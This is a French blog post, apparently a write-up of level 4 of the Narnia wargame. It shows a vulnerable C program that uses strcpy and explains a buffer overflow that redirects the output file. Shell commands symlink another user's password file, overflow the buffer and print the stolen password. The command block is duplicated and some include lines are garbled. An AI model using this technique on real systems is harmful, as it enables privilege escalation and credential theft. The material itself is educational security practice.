Retour aux exploitations de mémoire avec ce message. Le programme du niveau 4 de Narnia a attaquer est le suivant:
Le programme se comprend facilement. Il prend en entrée un fichier de nom ifile et ayant en file descriptor ifd, et le copie en sortie dans le fichier de nom /dev/null ayant comme file descriptor ofd./*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <types.h/sys>
#include <stat.h/sys>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
int
main(
int
argc,
char
**argv){
int
ifd, ofd;
char
ofile[16] =
"/dev/null"
;
char
ifile[32];
char
buf[32];
if
(argc != 2){
printf
(
"usage, %s file, will send contents of file 2 /dev/null\n"
,argv[0]);
exit
(-1);
}
/* open files */
strcpy
(ifile, argv[1]);
if
((ofd = open(ofile,O_RDWR)) < 0 ){
printf
(
"error opening %s\n"
, ofile);
exit
(-1);
}
if
((ifd = open(ifile, O_RDONLY)) < 0 ){
printf
(
"error opening %s\n"
, ifile);
exit
(-1);
}
/* copy from file1 to file2 */
read(ifd, buf,
sizeof
(buf)-1);
write(ofd,buf,
sizeof
(buf)-1);
printf
(
"copied contents of %s to a safer place... (%s)\n"
,ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit
(1);
}
L'exploitation va ressembler au niveau 1 de Narnia.
Solution après le saut:
Dans la mémoire, nous allons trouver de manière contigüe ifile qui fait une taille de 32 octets et ofile.
Si ifile fait plus de 32 octets, alors il déborde sur ofile, nous permettant de changer ainsi le nom du fichier de sortie.
Il faut donc un fichier d'entrée pointant vers le password de level5, ce que l'on fait à l'aide d'un lien symbolique. Ce nom de fichier doit faire plus de 32 caractères. Les caractères au delà du 32e doivent correspondre d'une part à un fichier existant, d'autre part à un fichier dans lequel level5 peut écrire. Let's sploit!
Quelque commandes UNIX permettent d'aboutir au pass sans trop de souci:
level4@narnia:/wargame$ cd /tmp
level4@narnia:/tmp$ ln -s /home/level5/.passwd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
level4@narnia:/tmp$ touch aaaaaaaa
level4@narnia:/tmp$ chmod 666 aaaaaaaa
level4@narnia:/tmp$ /wargame/level4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
copied contents of aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa to a safer place...
(aaaaaaaa)
level4@narnia:/tmp$ cat aaaaaaaa
bLRzDUjG
(none)üÿ¿_ñlevel4@narnia:/tmp$ su - level5
en avant vers le level5.level4@narnia:/tmp$ ln -s /home/level5/.passwd aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
level4@narnia:/tmp$ touch aaaaaaaa
level4@narnia:/tmp$ chmod 666 aaaaaaaa
level4@narnia:/tmp$ /wargame/level4 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
copied contents of aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa to a safer place...
(aaaaaaaa)
level4@narnia:/tmp$ cat aaaaaaaa
bLRzDUjG
(none)üÿ¿_ñlevel4@narnia:/tmp$ su - level5
Aucun commentaire:
Enregistrer un commentaire